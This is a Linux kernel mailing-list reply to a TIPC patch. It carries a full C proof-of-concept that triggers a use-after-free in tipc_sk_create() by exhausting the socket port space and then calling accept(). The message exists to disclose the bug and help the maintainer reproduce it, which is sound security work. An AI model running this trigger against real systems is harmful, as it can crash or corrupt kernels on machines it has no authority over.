Re: [PATCH net] tipc: clear sock->sk on the failed-insert path in tipc_sk_create()

[Daehyeon Ko <4ncienth@gmail.com>]

Hi Tung,

Here's the reproducer; build/run notes and the insert-failure precondition are
in the header comment. Built with a reduced TIPC_MAX_PORT it hits the KASAN
slab-use-after-free in tipc_release() within a few hundred sockets; on a stock
kernel the same path is reached at the rhashtable max (~2M sockets in the netns).

// PoC: tipc_sk_create() dangling-sk use-after-free write on the accept() path.
//
// Build:  gcc -O2 -o poc poc-tipc.c
// Run:    as root, inside a netns with TIPC available; kernel built CONFIG_TIPC=y
//         + CONFIG_KASAN=y to observe the UAF.
//
// The tipc_sk_insert() failure is reached when the per-netns socket rhashtable
// hits its max_size (~2M sockets). To make that precondition cheap to trigger,
// build the kernel with a reduced TIPC_MAX_PORT (e.g. 0xff): the UAF code path
// (tipc_sk_create error / tipc_accept / tipc_release) is UNMODIFIED, only the
// search space is bounded. On a stock kernel the bug is identical, only the
// precondition is more expensive (~2M sockets in the netns).
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/socket.h>

#define LOG(...) do{printf("[poc] " __VA_ARGS__);printf("\n");fflush(stdout);}while(0)
#ifndef AF_TIPC
#define AF_TIPC 30
#endif
#define TIPC_SERVICE_ADDR 2
#define TIPC_NODE_SCOPE   3
#define TIPC_CLUSTER_SCOPE 2

struct tipc_service_addr { uint32_t type; uint32_t instance; };
struct tipc_socket_addr  { uint32_t ref;  uint32_t node; };
struct tipc_service_range{ uint32_t type; uint32_t lower; uint32_t upper; };
struct sockaddr_tipc {
    unsigned short family;
    unsigned char  addrtype;
    signed   char  scope;
    union {
        struct tipc_socket_addr id;
        struct tipc_service_range nameseq;
        struct { struct tipc_service_addr name; uint32_t domain; } name;
    } addr;
};

#define SVC_TYPE 0x1000u
#define SVC_INST 1u

static void mk_svc(struct sockaddr_tipc *a, signed char scope){
    memset(a,0,sizeof(*a));
    a->family=AF_TIPC; a->addrtype=TIPC_SERVICE_ADDR; a->scope=scope;
    a->addr.name.name.type=SVC_TYPE; a->addr.name.name.instance=SVC_INST; a->addr.name.domain=0;
}

int main(void){
    LOG("BEGIN tipc_sk_create dangling-sk UAF (accept path; insert-failure precondition)");
    int lst=socket(AF_TIPC,SOCK_STREAM,0);
    if(lst<0){LOG("SETUP_FAIL socket(AF_TIPC) errno=%d (CONFIG_TIPC?)",errno);return 0;}
    struct sockaddr_tipc sa; mk_svc(&sa,TIPC_NODE_SCOPE);
    if(bind(lst,(struct sockaddr*)&sa,sizeof(sa))<0){LOG("SETUP_FAIL bind errno=%d",errno);return 0;}
    if(listen(lst,64)<0){LOG("SETUP_FAIL listen errno=%d",errno);return 0;}
    LOG("listener bound+listening");

    int cli=socket(AF_TIPC,SOCK_STREAM,0);
    if(cli<0){LOG("SETUP_FAIL client socket errno=%d",errno);return 0;}
    fcntl(cli,F_SETFL,fcntl(cli,F_GETFL,0)|O_NONBLOCK);
    struct sockaddr_tipc ca; mk_svc(&ca,TIPC_CLUSTER_SCOPE);
    int rc=connect(cli,(struct sockaddr*)&ca,sizeof(ca));
    LOG("client connect rc=%d errno=%d (EINPROGRESS ok)", rc, errno);
    usleep(200000); /* let the intra-node connect reach the accept queue */

    /* make tipc_sk_insert() fail: on a reduced-TIPC_MAX_PORT build this exhausts
       the port space in a few hundred sockets; on stock this is the ~2M path */
    static int fd[1<<21]; int nf=0, lasterr=0;
    for(int i=0;i<(1<<21);i++){
        int s=socket(AF_TIPC,SOCK_STREAM,0);
        if(s<0){ lasterr=errno; break; }
        fd[nf++]=s;
    }
    LOG("port-fill: created %d sockets, then socket() failed errno=%d", nf, lasterr);

    struct sockaddr_tipc na; socklen_t nl=sizeof(na);
    LOG("FIRE accept() (expect tipc_sk_create->tipc_sk_insert fail -> tipc_release UAF)");
    int ns=accept(lst,(struct sockaddr*)&na,&nl);
    LOG("accept rc=%d errno=%d (EINVAL = tipc_sk_create failed; UAF in __sock_release path)", ns, errno);
    if(ns>=0) close(ns);
    for(int k=0;k<8;k++){ int n2=accept(lst,(struct sockaddr*)&na,&nl); if(n2>=0)close(n2); }
    LOG("POC_DONE");
    return 0;
}

Thanks,
Daehyeon